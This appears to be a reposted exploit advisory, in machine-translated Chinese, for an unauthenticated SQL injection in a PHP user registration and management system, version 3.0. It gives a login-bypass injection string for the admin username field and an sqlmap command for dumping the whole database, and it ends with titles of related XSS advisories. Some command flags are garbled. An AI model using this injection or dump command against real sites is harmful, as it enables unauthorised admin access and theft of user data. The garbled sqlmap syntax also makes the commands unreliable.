用户注册登录和用户管理系统v3.0 -SQL注入（未经身份验证）

[HackApt-37 Team已验证会员]

＃利用标题:用户注册登录和用户管理系统v3.0 -SQL注入（未经身份验证）
＃Google Dork: NA
＃日期: 19/08/2023
＃利用作者: Ashutosh Singh Umath
＃供应商homepage: https://phpgurukul.com
＃软件link:

User Registration & Login and User Management System With admin panel

User Registration & Login and User Management System With admin panel - Project Name, User Registration & Login and User Management Project in PHP With admin panel. Language Used, PHP5.6, PHP7.x. Database, MySQL

phpgurukul.com

＃版本: 3.0
＃测试在: Windows 11
＃CVE :请求
概念证明:
1。导航到管理登录页面。
URL: http://192.168.1.5/loginsystem/admin/
2。在“管理用户名”字段中输入'*admin' - *'
在密码字段中随机。
3。现在您成功登录为管理员。
4。要从数据库下载所有数据，请使用以下命令。
4.1。登录到管理员门户并捕获请求。
4.2。复制文件中的截取请求。
4.3。现在使用以下命令转储所有数据
command: sqlmap -r file -name -p用户名-D loginSystem -dump -all
谢谢，问候，
Ashutosh Singh Umath

 

H

献血者管理系统v1.0-存储的XSS

H

用户注册登录和用户管理系统v3.0-存储的跨站点脚本（XSS）